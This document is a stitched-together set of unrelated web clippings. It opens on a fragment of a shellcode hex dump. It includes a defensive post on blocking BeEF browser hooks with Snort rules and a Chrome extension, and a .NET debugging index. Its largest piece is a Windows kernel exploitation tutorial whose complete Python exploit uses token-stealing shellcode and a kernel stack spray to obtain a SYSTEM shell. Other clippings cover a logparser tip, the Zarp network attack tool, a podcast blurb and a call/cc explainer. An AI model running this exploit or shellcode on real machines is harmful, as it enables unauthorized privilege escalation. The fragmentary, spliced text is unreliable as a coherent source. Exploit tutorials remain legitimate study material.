    _**00D6FCD2  DA D1 D9 74 24 F4 5E BA B3 4B 18 C3 29 C9 B1 54  ÚÑÙt$ô^º³KÃ)É±T
    00D6FCE2  83 C6 04 31 56 14 03 00 56 A7 A9 ED 3F 5C AF 0E C0  ƒÆ1VV§©í?\¯À
    00D6FCF2  AF D0 87 25 9E D0 FC 2E B0 E0 77 62 3C 8A DA 97  ¯Ð‡%žÐü.°àwb<ŠÚ—
    00D6FD02  B7 FE F2 98 70 B4 24 96 81 E5 15 B9 01 F4 49 19  ·þò˜p´$–å¹ôI
    00D6FD12  38 37 9C 58 7D 2A 6D 08 D6 20 C0 BD 53 7C D9 36  87œX}*Ö À½S|Ù6
    00D6FD22  5C 90 59 AA E7 93 48 7D 7C CA 4A 7F 51 66 C3 67  \Yªç“H}|ÊQfÃg
    00D6FD32  B6 43 9D 1C 0C 3F 1C F5 5D C0 B3 38 52 33 CD 7D  ¶C.?õ]À³8R3Í}
    00D6FD42  54 AC B8 77 A7 51 AA BB CC DD EE BB 43 DA 8D 4E 50 7C 45 E8 BC  T¬¸w§Q»CÚNP|Eè¼
    00D6FD52  7D 8A 6F 36 71 67 FB 10 95 76 28 2B A1 F3 CF FC  }Šo6qgû•v(+¡óÏü
    00D6FD62  20 47 F4 D8 69 13 95 79 D7 F2 AA 9A B8 AB 0E D0   GôØi•y×òªš¸«Ð
    00D6FD72  54 BF 22 BB 30 0C 0F 44 C0 1A 18 37 F2 85 B2 DF  T¿"»0.DÀ7ò…²ß
    00D6FD82  BE 4E 1D 27 C1 64 D9 B7 3C 87 1A 91 FA D3 4A 89  ¾N'ÁdÙ·<‡‘úÓJ‰
    00D6FD92  2B 5C 01 49 D4 89 BC 4C 42 F2 E9 2B A5 9A EB B3  +\IÔ‰¼LBòé+¥šë³
    00D6FDA2  D8 06 65 55 8A E6 25 CA 6A 57 86 BA 02 BD 09 E4  ØeUŠæ%ÊjW†º½.ä
    00D6FDB2  32 BE C3 8D D8 51 BA E6 74 CB E7 7D E5 14 32 F8  2¾ÃØQºætËç}å2ø
    00D6FDC2  25 9E B7 FC EB 57 BD EE EF DB A3 3D 85  %ž·üëW½î=ïÛ£=…
    00D6FDD2  DF 65 69 31 DD 50 5D 9E 1E B7 DD D9 E0 46 D4 92  ßei1ÝP]ž·ÝÙàFÔ’
    00D6FDE2  D6 DC 58 CD 16 31 59 0D 40 5B 59 65 34 3F 0A 90  ÖÜXÍ1Y.@[Ye4?.
    00D6FDF2  3B EA 3E 09 A9 15 17 FD 7A 7E 95 D8 4C 21 66 0F  ;ê>.©ýz~•ØL!f
    00D6FE02  CF 26 98 CD ED 8E F1 2D B1 2E 02 44 31 7F 6A 93  Ï&˜ÍíŽñ-±.Dj“
    00D6FE12  1E 70 5A 5C B5 D9 F2 D7 5B AB 63 E7 76 6D 3A E8  pZ\µÙò×[«cçvm:è
    00D6FE22  74 B6 2B 67 7B 49 54 89 40 9F 6D FF 81 23 CA F0  t¶+g{IT‰@Ÿmÿ#Êð
    00D6FE32  B8 06 7B 9B C2 15 7B 8E 90 90 90                 ¸{›Â{Ž
    **_
[/code]

_**It contains some bytes added, some removed. This is what the binary diffing
would look like using LCS-modified algorithm taken from Mona.py:**_

_****_

_**DOWNLOAD**_

  *  Prev 
  * Next 

  * __
  * __
  * __
  * __

  

# Vegan: Chrome extension to defeat BeEF

**Created:**| _6/26/2015 10:49:07 AM_  
---|---  
**Updated:**| _7/15/2015 2:10:38 PM_  
**Author:**| __  
**Tags:**| _browser_  
  

# Vegan: Chrome extension to defeat BeEF

June 25, 2015 Brian Wallace

Find me on:

Twitter

The Browser Exploit Framework \(BeEF\) is an easy-to-use open-source tool for
attacking web browsers used by security professionals and attackers alike.
There are few known methods for defending against BeEF attacks, so I decided
to build a Chrome extension to thwart attacks. It is called Vegan.

The Vegan Chrome Extension can be downloaded here.  This is an open source
proof of concept, and is provided as is.  Use at your own discretion.

In order for BeEF to gain control over a browser, the browser must be tricked
to execute malicious JavaScript code. This can happen on any website that the
attacker can control, or even in malicious advertisements, and tends to occur
transparently to the affected user. This JavaScript code connects back to the
BeEF control panel, which is essentially a highly interactive command and
control panel. The attacker then has the option to run a myriad of attacks or
information gathering tools.

## Looking for Existing Methods

I started searching for anything that at least detected BeEF being used. I did
not find much.

What I did find was a Snort rule \(from EmergingThreats.net\). Here is an
abbreviated version of that rule:

[code]

    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (flow:to_server,established; content:"Cookie|3a 20|BEEFSESSION=";)  
      
    
[/code]

For anyone not familiar with Snort, it is an intrusion detection/prevention
system that operates by observing network traffic and testing whether it
matches various rules. It is a useful tool that should be in every defender’s
tool belt. This Snort rule specifically is looking for any HTTP clients on the
local network communicating with any remote HTTP server, and will alert if the
HTTP client is sending a cookie with the name BEEFSESSION.  If we infect a
client, we do not actually see this cookie being set but instead see BEEFHOOK.

<img src='img/Temp2_8843.png' width='1687' height='480' alt='BeEF Basic Demo
and Cookies' />

As it turns out, the BEEFSESSION cookie is only set on the browser
administering the BeEF web panel, and not on the victim’s. If this rule was
looking for BEEFHOOK instead, it could potentially be effective.

[code]

    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (flow:to_server,established; content:"Cookie|3a 20|BEEFHOOK=";)  
    
[/code]

For instances of BeEF with the default configuration, this should detect any
browsers currently infected by BeEF, as long as they are communicating over
unencrypted HTTP.

## “Keep out...or enter. I’m a sign, not a cop”

This is one of my favorite quotes from the Simpsons \(at least from recent
years\), even if it was only written on a sign. I feel it is great symbolism
for poor security practice everywhere. I feel the Snort rule is like this
sign, saying there is protection against BeEF, but really only if the attacker
wants to give up immediately.

For any attacker with the super technological savvy to know how to modify a
configuration file and any forethought to believe someone may be looking for a
cookie with this name, the Snort rule is trivial to bypass. From the BeEF
configuration file, we can see that we can change not only this cookie name,
but quite a few other values, including other cookie names.

<img src='img/Temp2_8847.png' alt='BeEF Configuration File' />

While I am a user and fan of Snort, I was not particularly excited about the
prospect of using it to protect against BeEF. One of the reasons is that BeEF
is functional over HTTPS, so plaintext-only detection would not be
particularly effective. An additional reason is I would need to set up Snort
on any of my computers that I traveled with in order to protect myself on any
network I did not control. That level of effort for a not so common method of
attack was a bit excessive.

## Building My Own Method

I subscribe to the philosophy that, to keep the internet as safe as possible,
there needs to be a balance between offensive research and defensive research.
If one outweighs the other, we start to lose ground against the ever changing
and growing threats we face. If offense is given too much focus, we build far
too few defensive methods to protect, and really end up purely in a cycle of
identify and patch. If defense has too much focus, our simulated attacks
against networks/software/etc. fall behind the curve, allowing for the
defenses to be potentially blindsided by massive scale vulnerabilities being
used by malicious actors and not being responsibly disclosed.

It is because of this philosophy that I am explaining my process, with hopes
that others will join me.

## Building a Chrome Extension to Explore Options

I decided to build my protection into Chrome browser so I could easily deploy
it to devices regardless of the OS, handle HTTPS seamlessly with HTTP and
approach the problem from the chokepoint.

Chrome extensions are relatively simple to develop, given some familiarity
with Chrome’s API. Extensions at a minimum consist of a manifest file
\(manifest.json\) and at least one Javascript file. They can also have HTML
files, icons and other files if the extension has a user interface.

Let’s start with the following extension code:

**manifest.json**

[code]

    {  
      "manifest_version": 2,  
      "name": "Vegan",  
      "description": "This extension detects BeEF hooks and blocks the offending domain, effectively stopping the attack.",  
      "version": "1.0",  
      "background": {  
        "scripts": ["popup.js"]  
      },  
      "permissions": [  
        "cookies",  
        "*://*/*"  
      ]  
    }  
      
    
[/code]

**popup.js**

[code]

    // Detect bad cookies  
    chrome.cookies.onChanged.addListener(function(changeInfo)  
      {  
        console.log(changeInfo);  
      }  
    );  
      
    
[/code]

This extension will log any cookie events sent from Chrome to the extension.

<img src='img/Temp2_8842.png' alt='BeEF's Cookie Events' />

We can see various cookies being set and unset here. This includes the
BEEFHOOK cookie. Now let’s modify the BEEFHOOK cookie in our configuration and
see how this changes.

<img src='img/Temp2_8841.png' alt='BeEF's Modified Cookies' />

<img src='img/Temp2_8851.png' alt='Screenshot_-_06022015_-_112915_AM' />

We can see that the configuration change has modified the cookie name being
set. We also see a cookie named “cookie” with a value of “none” being set and
unset, which might be a better indicator to look for.

## Wait, where did this cookie come from?

Thanks to the BeEF project being open source, we can simply determine what the
purpose of this cookie is.

<img src='img/Temp2_8852.png' alt='Screenshot_-_06022015_-_113552_AM' />

As it turns out, these cookies are created and destroyed in order to test the
ability of the browser to create different types of cookies. Additionally, the
name and value of these cookies are not configurable \(without modifying the
BeEF project itself\).

## Build Detection Method for Unmodified Versions of BeEF

Let’s try triggering on any event regarding a cookie with the name of “cookie”
and value of “none”.

**popup.js**

[code]

    // Detect bad cookies  
    chrome.cookies.onChanged.addListener(function(changeInfo)  
      {  
        if(changeInfo.cookie.name=="cookie" && changeInfo.cookie.value=="none")  
        {  
          alert("Potential beef hook...");  
          console.log(changeInfo);  
        }  
      }  
    );  
      
    
[/code]

<img src='img/Temp2_8850.png' alt='Detection of Attempted BeEF Hook' />

<img src='img/Temp2_8849.png' alt='BeEF Hook Cookie Events' />

For good measure, let’s also check for the presence of a cookie with a value
that is the correct length for a BEEFHOOK cookie.

**popup.js**

[code]

    // Detect bad cookies  
    chrome.cookies.onChanged.addListener(function(changeInfo)  
      {  
        if(changeInfo.cookie.name=="cookie" && changeInfo.cookie.value=="none")  
        {  
          console.log(changeInfo);  
          chrome.cookies.getAll({domain: changeInfo.cookie.domain}, function(cookies)  
            {  
              var dl = cookies.length;  
              if(dl>0)  
              {  
                for(var x = 0; x < dl; x++)  
                {  
                  var c = cookies[x];  
                  if(c.value.length == 80)  
                  {  
                    console.log(c);  
                    alert("Malicious cookie detected for domain: " + c.domain);  
                  }  
                }  
              }  
            }  
          );  
        }  
      }  
    );  
      
    
[/code]

<img src='img/Temp2_8848.png' alt='Improved Detection Method' />

## Prevention is the Name of the Game

While a detection method is important, it really only tells the user they are
now at the will of the attacker, and there is not much the victim can do.  The
real value comes from prevention, because if we can both make the user aware
of an attack and stop them from being at the will of an attacker, they are
truly protected.

In order to add a prevention mechanism to this Chrome extension, we will block
any domain attempts to set the cookie we are detecting. This will prevent the
browser from being able to communicate with the BeEF panel.

**manifest.json**

[code]

    {  
      "manifest_version": 2,  
      "name": "Vegan",  
      "description": "This extension detects BeEF hooks and blocks the offending domain, effectively stopping the attack.",  
      "version": "1.0",  
      "background": {  
        "scripts": ["popup.js"]  
      },  
      "permissions": [  
        "cookies",  
        "*://*/*",  
        "webRequest",  
        "webRequestBlocking"  
      ]  
    }  
      
    
[/code]

**popup.js**

[code]

    var blocked_domains = [];  
    chrome.webRequest.onBeforeRequest.addListener(function(details)  
      {  
        return {cancel: blocked_domains.indexOf(details.url.match(/^[\w-]+:\/*\[?([\w\.-]+)\]?(:[\w]+)?(?::\d+)?/)[1])>-1};  
      },   
      {  
        urls: ["<all_urls>"]  
      },   
      ['blocking']  
    );  
      
    // Detect bad cookies  
    chrome.cookies.onChanged.addListener(function(changeInfo)  
      {  
        if(changeInfo.cookie.name=="cookie" && changeInfo.cookie.value=="none")  
        {  
          chrome.cookies.getAll({domain: changeInfo.cookie.domain}, function(cookies)  
            {  
              var dl = cookies.length;  
              if(dl>0)  
              {  
                for(var x = 0; x < dl; x++)  
                {  
                  var c = cookies[x];  
                  if(c.value.length == 80)  
                  {  
                    console.log(c);  
                    chrome.cookies.remove({name: c.name, url: "http://" + c.domain + c.path});  
                    if(blocked_domains.indexOf(c.domain)==-1)  
                    {  
                      blocked_domains.push(c.domain);  
                      // todo Save changes to block list  
                    }  
                    alert("Malicious cookie detected for domain: " + c.domain + " (now blocked)");  
                  }  
                }  
              }  
            }  
          );  
        }  
      }  
    );  
      
    
[/code]

<img src='img/Temp2_8845.png' alt='BeEF Hook Prevention' />

If we try to refresh the page, we can see now the extension has blocked all
access to the offending IP/domain.

<img src='img/Temp2_8844.png' alt='Vegan blocked BeEF' />

If we look at our BeEF control panel, we can see that our browser did not show
up as an active victim.

<img src='img/Temp2_8846.png' alt='BeEF Control Panel does not show our
browser' />

At this point, we can consider this method effective at blocking BeEF hooks
into our Chrome browsers. It should be noted that the developers for BeEF, if
they wished, could change the project to avoid detection with this extension. 

## Wrapping Up

The Browser Exploitation Framework is a useful tool for offensive security
researchers looking to test out attacks against browsers, as well as further
gaining access during penetration testing. While this tool is well known, any
protections against it are not.  As a security researcher, I wish to maintain
the balance between offensive and defensive research, so even smaller
defensive projects like this provide a benefit.  If more security researchers
worked on open source defensive projects/research, we could, as an industry,
tip the scales back into balance.

# Crash Dump Analysis » Blog Archive » .NET / CLR / Managed Space Patterns

**Created:**| _8/1/2011 7:57:33 AM_  
---|---  
**Updated:**| _8/1/2011 7:57:33 AM_  
**Author:**| __  
**Tags:**| _Debugging .Net windows environment_  
  

## .NET / CLR / Managed Space Patterns

Accelerated Windows Memory Dump Analysis

<img src='img/Temp2_1640.png' />

<img src='img/Temp2_1639.png' />

Sponsored link: Memory Dump Analysis Services

Debugging Experts Magazine Online

Debugging Today Daily Newspaper

A page to reference all different kinds of .NET related patterns is necessary,
so I created this post:

  * CLR Thread
  * Managed Code Exception
  * Nested Exceptions \(managed code\)
  * Memory Leak \(.NET heap\)
  * JIT Code \(.NET\)
  * Managed Stack Trace
  * Multiple Exceptions \(managed space\)
  * Version-Specific Extension

I’ll update it as soon as I add more similar patterns.

\- Dmitry Vostokov @ DumpAnalysis.org \+ TraceAnalysis.org -

/\* Malware and Software Defects -> Victimware.org \*/

# Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable -
rootkit

**Created:**| _3/7/2018 8:53:18 AM_  
---|---  
**Updated:**| _3/7/2018 8:53:18 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

# Windows Kernel Exploitation Tutorial Part 6: Uninitialized Stack Variable

January 30, 2018 rootkit

## Overview

In the previous part, we looked into a simple NULL Pointer Dereference
vulnerability. In this part, we’ll discuss about another vulnerability,
Uninitialized Stack Variable. This vulnerability arises when the developer
defines a variable in the code, but doesn’t initialize it. So, during runtime,
the variable would have some value, albeit an unpredictable one. How this
issue could be exploited by an attacker, we’d see in this part.

Again, huge thanks to @hacksysteam for the driver.

* * *
## Analysis

Let’s analyze the _UninitializedStackVariable.c_ file:

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556 | NTSTATUS TriggerUninitializedStackVariable\(IN PVOID UserBuffer\) \{ ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS\_SUCCESS; \#ifdef SECURE // Secure Note: This is secure because the developer is properly initializing // UNINITIALIZED\_STACK\_VARIABLE to NULL and checks for NULL pointer before calling // the callback UNINITIALIZED\_STACK\_VARIABLE UninitializedStackVariable = \{0\};\#else // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability // because the developer is not initializing 'UNINITIALIZED\_STACK\_VARIABLE' structure // before calling the callback when 'MagicValue' does not match 'UserValue' UNINITIALIZED\_STACK\_VARIABLE UninitializedStackVariable;\#endif PAGED\_CODE\(\); \_\_try \{ // Verify if the buffer resides in user mode ProbeForRead\(UserBuffer, sizeof\(UNINITIALIZED\_STACK\_VARIABLE\), \(ULONG\)\_\_alignof\(UNINITIALIZED\_STACK\_VARIABLE\)\); // Get the value from user mode UserValue = \*\(PULONG\)UserBuffer; DbgPrint\("\[+\] UserValue: 0x%p\n", UserValue\); DbgPrint\("\[+\] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable\); // Validate the magic value if \(UserValue == MagicValue\) \{ UninitializedStackVariable.Value = UserValue; UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback; \} DbgPrint\("\[+\] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value\); DbgPrint\("\[+\] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback\); \#ifndef SECURE DbgPrint\("\[+\] Triggering Uninitialized Stack Variable Vulnerability\n"\);\#endif // Call the callback function if \(UninitializedStackVariable.Callback\) \{ UninitializedStackVariable.Callback\(\); \} \} \_\_except \(EXCEPTION\_EXECUTE\_HANDLER\) \{ Status = GetExceptionCode\(\); DbgPrint\("\[-\] Exception Code: 0x%X\n", Status\); \} return Status;\}  
---|---  
The issue is clearly mentioned, as the _UninitializedStackVariable_ in the
insecure version is not initialized to a value as in the Secure version. But
that’s not the only problem here. The uninitialized variable is then called in
the _callback\(\)_ function, which leads to this vulnerability.

Analyzing this vulnerability in IDA makes things a little more clearer:

<img src='img/unini1.png' width='1310' height='736' />

We can see that if our comparison fails with our \*\*Magic\*\* value, the
execution lands up in our vulnerable function, with a call to our callback at
some offset from our ebp.

So, if we can control what’s there under the callback address, we should
reliably be able to direct the flow to our shellcode. With that in mind, let’s
jump onto the exploitation then.

* * *
## Exploitation

Let’s start with our skeleton script:

123456789101112131415161718192021 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) buf = "\xb0\xb0\xd0\xba" bufLength = len\(buf\) kernel32.DeviceIoControl\(hevDevice, 0x22202f, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/unini2.png' width='545' height='211' />

We see no crash, and execution completes normally.

Now, let’s change our \*\*Magic\*\* value to something else and analyze what
happens.

<img src='img/unini3.png' width='494' height='548' />

This triggers our vulnerable function with the callback call. Now, as we
discussed earlier, we somehow need to control the callback value to our
shellcode’s pointer, so as when the call is made to this address, it actually
initializes our shellcode.

To do this, the steps we need to follow:

  * Find the kernel stack init address
  * Find the offset of our callback from this init address
  * Spray the Kernel Stack with User controlled input from the user mode. \(Good read about it can be found here by j00ru\).

To find the kernel stack init address, run the **_\!thread_** command, and
then subtract the callback address from the stack init address to find the
offset.

<img src='img/unini4.png' width='835' height='763' />

We get an offset of _0x524_. You can confirm if this offset remains same
through multiple runs. This won’t matter that much though as we’d be spraying
the whole stack upto a certain length with our shellcode address using
_NtMapUserPhysicalPages_ function:

12345 | BOOL WINAPI MapUserPhysicalPages\( \_In\_ PVOID lpAddress, \_In\_ ULONG\_PTR NumberOfPages, \_In\_ PULONG\_PTR UserPfnArray\);  
---|---  
Not exactly the same function on MSDN, but the basic layout for the parameters
is similar. More information about this function is found in the article above
by j00ru.

Using this API, we can spray upto _1024\*sizeof\(ULONG\_PTR\)_ , enough to
cover our offset easily. Let’s spray our kernel stack with _0x41414141_ and
put a breakpoint at the end of _NtMapUserPhysicalPages_ to analyze our spray:

12345678910111213141516171819202122232425 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) ptr\_adr = "\x41\x41\x41\x41" \* 1024 buf = "\x37\x13\xd3\xba" bufLength = len\(buf\) ntdll.NtMapUserPhysicalPages\(None, 1024, ptr\_adr\) kernel32.DeviceIoControl\(hevDevice, 0x22202f, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/unini5.png' width='766' height='491' />

Awesome, our desired address contains our sprayed value.

Now, just include our shellcode from our previous post, and spray the address
onto the kernel stack.

Final exploit would look like:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960 | import ctypes, sys, structfrom ctypes import \*from subprocess import \* def main\(\): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA\("\\\\\\\\.\\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None\) if not hevDevice or hevDevice == -1: print "\*\*\* Couldn't get Device Driver handle" sys.exit\(-1\) \#Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray\( "\x90\x90\x90\x90" \# NOP Sled "\x60" \# pushad "\x64\xA1\x24\x01\x00\x00" \# mov eax, fs:\[KTHREAD\_OFFSET\] "\x8B\x40\x50" \# mov eax, \[eax + EPROCESS\_OFFSET\] "\x89\xC1" \# mov ecx, eax \(Current \_EPROCESS structure\) "\x8B\x98\xF8\x00\x00\x00" \# mov ebx, \[eax + TOKEN\_OFFSET\] "\xBA\x04\x00\x00\x00" \# mov edx, 4 \(SYSTEM PID\) "\x8B\x80\xB8\x00\x00\x00" \# mov eax, \[eax + FLINK\_OFFSET\] "\x2D\xB8\x00\x00\x00" \# sub eax, FLINK\_OFFSET "\x39\x90\xB4\x00\x00\x00" \# cmp \[eax + PID\_OFFSET\], edx "\x75\xED" \# jnz "\x8B\x90\xF8\x00\x00\x00" \# mov edx, \[eax + TOKEN\_OFFSET\] "\x89\x91\xF8\x00\x00\x00" \# mov \[ecx + TOKEN\_OFFSET\], edx "\x61" \# popad "\xC3" \# ret \) ptr = kernel32.VirtualAlloc\(c\_int\(0\), c\_int\(len\(shellcode\)\), c\_int\(0x3000\), c\_int\(0x40\)\) buff = \(c\_char \* len\(shellcode\)\).from\_buffer\(shellcode\) kernel32.RtlMoveMemory\(c\_int\(ptr\), buff, c\_int\(len\(shellcode\)\)\) \#Just converting the int returned address to a sprayable '\x\x\x\x' format. ptr\_adr = hex\(struct.unpack\('<L', struct.pack\('>L', ptr\)\)\[0\]\)\[2:\].zfill\(8\).decode\('hex'\) \* 1024 print "\[+\] Pointer for ring0 shellcode: \{0\}".format\(hex\(ptr\)\) buf = '\x37\x13\xd3\xba' bufLength = len\(buf\) \#Spraying the Kernel Stack. \#Note that we'd need to prevent any clobbering of the stack from other functions. \#Make sure to not include/call any function or Windows API between spraying the stack and triggering the vulnerability. print "\n\[+\] Spraying the Kernel Stack..." ntdll.NtMapUserPhysicalPages\(None, 1024, ptr\_adr\) kernel32.DeviceIoControl\(hevDevice, 0x22202f, buf, bufLength, None, 0, byref\(c\_ulong\(\)\), None\) print "\n\[+\] nt authority\system shell incoming" Popen\("start cmd", shell=True\) if \_\_name\_\_ == "\_\_main\_\_": main\(\)  
---|---  
<img src='img/unini6.png' width='1105' height='415' />

Posted in Kernel, TutorialTagged Exploitation, Kernel, Tutorial, Uninitialized
Stack Variable, Windows

  

# Logparser tip for windows event logs

**Created:**| _5/10/2019 8:07:08 AM_  
---|---  
**Updated:**| _5/10/2019 8:07:55 AM_  
**Author:**| _wishi_  
**Tags:**| _Forensics event-corelation_  
  

Logparser tip for windows event logs:

  

Each event type has a variable number of fields delimited by '|' within the
"Strings" field. Use this query for exploratory data analysis:

  

\#DFIR \#LogAnalysis

  

8:12pm · 8 May 2019 · Twitter Web Client

1

Reply

13

Retweets

30

Likes

Reply

Retweet

Like

Options

Reply to @DFIR\_TNT

DFIR\_TNT's avatar

DFIR\_TNT @DFIR\_TNT

1d

logparser -i:EVT -o:csv -stats:OFF "Select EventID, Message,
extract\_token\(strings, 0, '|'\) as 0, extract\_token\(strings, 1, '|'\) as
1, extract\_token\(strings, 2, '|'\) as 2, extract\_token\(strings, 3, '|'\)
as 3, extract\_token\(strings, 4, '|'\) as 4,

1Reply

2Retweet

1 Like

More options

DFIR\_TNT's avatar

DFIR\_TNT @DFIR\_TNT

1d

extract\_token\(strings, 5, '|'\) as 5, extract\_token\(strings, 6, '|'\) as
6, extract\_token\(strings, 7, '|'\) as 7, extract\_token\(strings, 8, '|'\)
as 8, extract\_token\(strings, 9, '|'\) as 9, extract\_token\(strings, 10,
'|'\) as 10 INTO ./security\_evt\_mapping.csv

1Reply

1Retweet

Like

More options

DFIR\_TNT's avatar

DFIR\_TNT @DFIR\_TNT

1d

from '.\C\Windows\System32\winevt\logs\security.evtx'"

# Zarp Network Attack tool | SecTechno
**Created:**| _5/26/2015 3:57:18 PM_  
---|---  
**Updated:**| _5/26/2015 3:57:18 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# Zarp Network Attack tool

Hello fellow **Twitter** user\! Don't forget to **Twit this post** if you like
it, or **follow me** on Twitter if you find me interesting.

Corporate local area networks may have several vulnerabilities that allow
attackers disrupt services or exploit the detected vulnerabilities. One of the
tool that you can use to pentest local networks is Zarp Network Attack tool.
Zarp allows to perform network protocols penetration testing without system
exploitation. some of the attacks are:

  * Denial of Service against systems and applications
  * Sniff sensitive information transmitted on the network such as username and passwords from different protocols \(FTP, HTTP , etc\)
  * running scan on the network for assets discovery and fingerprinting

<img src='img/Temp2_10002.png' alt='Zarp Network Attack tool' />

Zarp Network Attack tool Screenshot installed and options available

You can install Zarp Network Attack tool on any Linux distribution using the
following command:

[code]

    git clone git://github.com/hatRiot/zarp.git
[/code]

Next you run an update to have the latest version:

[code]

    sudo python zarp.py --update
[/code]

The current version is 0.1.7 and it is also recommended to install additional
module:

  * airmon-ng suite \(for all your wireless cracking needs\)
  * tcpdump
  * libmproxy \(packaged with zarp\)
  * paramiko \(SSH service\)
  * nfqueue-bindings \(packet modifier\)

When you install Zarp you will also have Scapy included so you don’t need to
install a separate package. Wireless network pentest is also possible with
Wifite which allows to test and crack AP.

You will need this tool in your lab when you want to make your testing or to
demonstrate some useful features and attacks. This tool also can be used
during the penetration testing session as a PoC that the network is redundant
and have no vulnerabilities. You can find more information about Zarp Network
Attack tool by following this link: https://github.com/hatRiot/zarp

# RB2: AusCERT podcast: Andrew Rourke's mobile phone forensics talk | Risky Business
**Created:**| _5/19/2009 3:31:41 PM_  
---|---  
**Updated:**| _5/19/2009 3:31:53 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

May 19, 2009 --

ASI Solutions Executive Manager of IT Security Services, Andrew Rourke,
discusses mobile phone forensics -- a history, and the future. Enjoy\!

<img src='img/Temp2_6678.png' alt='icon for podpress' /> | Show Player | Play in Popup | Download
## User login

# call-with-current-continuation-for-C-programmers

**Created:**| _9/14/2015 12:22:44 PM_  
---|---  
**Updated:**| _9/14/2015 12:22:44 PM_  
**Author:**| __  
**Tags:**| __  
  
  

#

call-with-current-continuation-for-C-programmers

\[Top Page\]\[Recent Changes\]\[All Pages\]\[Settings\]\[Categories\]\[Wiki
Howto\]  
\[Edit\]\[Edit History\]  

Search:

* * *
If you're a C programmer then you've probably read the various introductions
and tutorials on call-with-current-continuation \(`call/cc`\) and come out not
much wiser about what it all really means. Here's the secret: it's
`setjmp`/`longjmp`.

But on no account say that to any Scheme programmers you know, it'll send them
into paroxysms of rage as they tell you you don't know what you're talking
about. Oh, and if you're a Scheme programmer who's accidentally stumbled on
this page then please, please, stop reading now, for the sake of your blood
pressure. \(Or in any case remember this page is for refugee C programmers,
not for you.\)

## C versus Scheme

Basically `call/cc` is like `setjmp`. It records a dynamic point in the
program execution, one which you can return to, ie. jump to, later if you
want. `setjmp` does its thing by filling in a `jmp_buf` you supply, but
`call/cc` creates a continuation object and calls your nominated bit of code
with it.

The way `call/cc` calls a function to give you the contination can be
confusing. Essentially it's just a clean way to get the continuation to you
and keep out of the way of subsequent jumps back to the saved point. It's
typical to do no more that save away the continuation object

[code]

         (call/cc (lambda (cont) 
                    (set! my-saved-cont cont))) 
    
[/code]

In the name "`call-with-current-continuation`", "`call`" refers to the way a
function is called to hand over the continuation. Don't be confused by the
fact the continuation object is later invoked by calling it, that's entirely
separate.

Once you've got a continuation object, calling it as say `(cont 123)` is like
a C code `longjmp(jbuf, 123)`. It's a jump back to the original `call/cc`
point, and the return value from the `call/cc` is the 123 in the invoking
call, just like `setjmp` returns the value passed to `longjmp`. In Scheme of
course any object can be "returned" in this way \(and even values? for more
than one object\), not just a single int.

This "multiple returning" by the `call/cc` shouldn't be any more confusing
that the multiple returning of a `setjmp`. However because Scheme is more
flexible it's easy to be creative with what's returned and when and why, to
create confusion where it shouldn't exist. The key idea though remains a
dynamic goto with a value passed.

In C it's only possible to jump up the stack, to a point in the current
function or a higher calling function. But in Scheme you can jump back down as
well, or even "sideways". To do this `call/cc` effectively saves the whole
stack. In fact in some Scheme implementations \(for example Guile\) a block
copy of the stack is exactly how it's done.

This downwards/sideways jumping is a powerful feature. Genuine co-routines can
be implemented. Or a long-running "job" can be suspended and resumed
periodically, even becoming a cooperative \(and portable\) multi-tasking
system. Such things are not really possible \(or only with some difficulty\)
in C with `setjmp`/`longjmp`.

An important note should be added about the way variables are saved in a
continuation. In C if you were to copy the stack then you copy the values in
local variables \(automatics\), and restoring would put back the values
copied. But effectively in Scheme it's just "what variables are visible" which
is saved and restored, the actual locations holding the values are separate.
So if you have a continuation, jump into it and change some values, and jump
in again later then the changes you made are still there. This is much the
same as in the notion of a closure: the variables visible to it keep their
values between invocations.

## Not a goto

When Scheme folks get hot and bothered about continuations not being gotos
what they normally mean is that the idea of a continuation is much more
fundamental.

A continuation represents the "what thing\(s\) to do next" for a program and
execution proceeds by manipulating that. A function call expands the
continuation with the body of the function \(with its parameters bound to the
called values\). A return reduces it back to the receiver of the result in
question, etc.

This is an abstract idea about what program execution means, but in fact
various Scheme implementations do it exactly this way, using the heap to
record the current continuation. At its simplest the current continuation in
such systems is like a list grown by consing onto the front, and reduced by
cdring down. In such a system capturing a continuation is merely saving a
reference to the list, and jumping to it just plugs that back in as the
current "what to do". \(And it can be seen that method is fast, where a stack
copy is slow, though both have advantages.\)

* * *
category-learning-scheme

* * *
Last modified : 2010-09-30 04:06:15  
WiLiKi 0.5-tekili-7 running on Gauche 0.9

  

# 🆕⌚️ Automatic updates · Issue \#247 · projectatomic/rpm-ostree

